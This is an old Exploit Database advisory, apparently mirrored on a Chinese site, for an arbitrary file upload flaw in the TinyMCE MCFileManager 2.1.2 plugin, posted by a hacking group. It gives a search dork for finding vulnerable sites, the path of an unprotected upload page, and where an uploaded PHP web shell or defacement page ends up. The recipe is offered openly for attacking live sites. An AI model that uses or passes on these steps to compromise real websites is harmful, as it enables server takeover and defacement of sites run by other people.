TinyMCE MCFileManager 2.1.2 – Arbitrary File Upload

• Exploit Database
• 10 阅读

• 作者： Hackeri-AL
  日期： 2010-10-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/15194/

• ==============================================
  File Upload Vulnerability [ Plugins tiny_mce ]
  ==============================================
  
  http://tinymce.moxiecode.com/plugins_filemanager.php
  
  ####################################################################
   
   Author : Hackeri-AL 
   Contact: h-al [at] hotmail [dot] it 
   Greetz : LoocK3D & b4cKd00r ~ & GHoST61 & BaDBoy
   My Group : UAH-Crew = United Albania Hackers
  
  ####################################################################
  
  [~] DORK: inurl:/tiny_mce/plugins/filemanager/
  
  --------------------------------------------------------------------
  
  [~] You go to: htpp://web.com/tiny_mce/plugins/filemanager/
  [~] Redirect to: htpp://web.com/tiny_mce/plugins/filemanager/examples.html <[ upload here shell or index.html ]
  [~] Shell or index : htpp://web.com/tiny_mce/plugins/filemanager/files/shell.php or index.html
  
  ####################################################################
  
  [~] Proud 2 be Albania
  [~] Proud 2 be Muslim
  [~] United States of Albania
  
  ####################################################################